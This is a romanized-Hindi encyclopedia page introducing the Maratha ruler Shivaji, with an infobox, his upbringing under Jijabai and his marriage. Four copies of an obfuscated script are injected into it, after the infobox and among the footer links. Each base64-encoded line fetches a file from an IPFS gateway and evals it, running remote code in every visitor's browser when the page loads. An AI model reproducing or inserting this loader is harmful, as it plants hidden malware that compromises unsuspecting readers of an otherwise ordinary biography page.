शिवाजी का परिचय
shivaji ka parichay
| |
poora nam | shivaji raje bhoansale |
janm | 19 faravari, 1630 ee. |
janm bhoomi | shivaneri, maharashtr |
mrityu tithi | 3 aprail, 1680 ee. |
mrityu sthan | rayagadh |
pita/mata | shahaji bhoansale, jijabaee |
pati/patni | saibaeean nimbalakar |
santan | sambhaji |
upadhi | chhatrapati |
shasan kal | 1642 - 1680 ee. |
sha. avadhi | 38 varsh |
rajyabhishek | 6 joon, 1674 ee. |
poorvadhikari | shahaji bhoansale |
uttaradhikari | sambhaji |
rajagharana | maratha |
vansh | bhoansale |
sanbandhit lekh | maharashtr, maratha, maratha samrajy, tana ji, rayagadh, samarth guru ramadas, dadoji koandadev, rajaram, tarabaee. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shivaji bharat ke mahanh yoddha evan rananitikar the, jinhoanne 1674 ee. mean pashchim bharat mean maratha samrajy ki nianv rakhi. unhoanne kee varsh aurangazeb ke mugal samrajy se sangharsh kiya. san 1674 mean rayagadh mean unaka rajyabhishek hua aur ve chhatrapati bane. shivaji ne apani anushasit sena evan susangathit prashasanik ikaiyoan ki sahayata se ek yogy evan pragatishil prashasan pradan kiya. unhoanne samar-vidya mean anek navachar kiye tatha chhapamar yuddh ki nayi shaili (shivasootr) ko vikasit kiya. unhoanne prachin hindoo rajanaitik prathaoan tatha darabari shishtacharoan ko punarjivit kiya aur farasi ke sthan par marathi evan sanskrit ko rajakaj ki bhasha banaya.
pita dvara mata ka tyag
bharat ke svatantrata sangram mean bahut-se logoan ne shivaji ke jivan-charit se prerana lekar bharat ki svatantrata ke liye apana tan, man dhan nyauchhavar kar diya. shivaji ke pita shahaji bhoansale ne shivaji ke janm ke uparant hi apani patni jijabaee ko prayah tyag diya tha. unaka bachapan bahut upekshit raha aur ve sauteli maan ke karan bahut dinoan tak pita ke sanrakshan se vanchit rahe. unake pita shooravir the aur apani doosari patni tukabaee mohite par akarshit the. jijabaee uchch kul mean utpann pratibhashali hote hue bhi tiraskrit jivan ji rahi thian.
palan-poshan
[[chitr:Shivaji-Maharaj-With-Jijamata.jpg|jijabaee ke sath shivaji|left|thumb|220px]] jijabaee yadav vansh se thian. unake pita ek shaktishali aur prabhavashali samant the. balak shivaji ka lalan-palan unake sthaniy sanrakshak dadaji konadev, jijabaee tatha samarth guru ramadas ki dekharekh mean hua. mata jijabaee tatha guru ramadas ne kore pustakiy jnan ke prashikshan par adhik bal n dekar shivaji ke mastishk mean yah bhavana bhar di thi ki desh, samaj, gau tatha brahmanoan ko musalamanoan ke utpi dan se mukt karana unaka param kartavy hai. shivaji sthaniy logoan ke bich rahakar shighr hi unamean atyadhik sarvapriy ho gaye. unake sath as-pas ke kshetroan mean bhraman karane se unako sthaniy durgoan aur darroan ki bhali prakar vyaktigat janakari prapt ho gayi. kuchh svamibhakt logoan ka ek dal banakar unhoanne unnis varsh ki ayu mean poona ke nikat toran ke durg par adhikar karake apana jivan-kram arambh kiya. unake hriday mean svadhinata ki lau jalati thi. unhoanne kuchh svamibhakt sathiyoan ko sangathit kiya. dhire dhire unaka videshi shasan ki be diyaan to dane ka sankalp prabal hota gaya.
vivah
shivaji ka vivah saibaeean nimbalakar ke sath san 1641 mean bangalaur mean hua tha. unake guru aur sanrakshak konadev ki 1647 mean mrityu ho gee thi. isake bad shivaji ne svatantr rahane ka nirnay liya.
left|30px|link=shivaji|pichhe jaean | shivaji ka parichay | right|30px|link=shivaji ka arambhik jivan|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>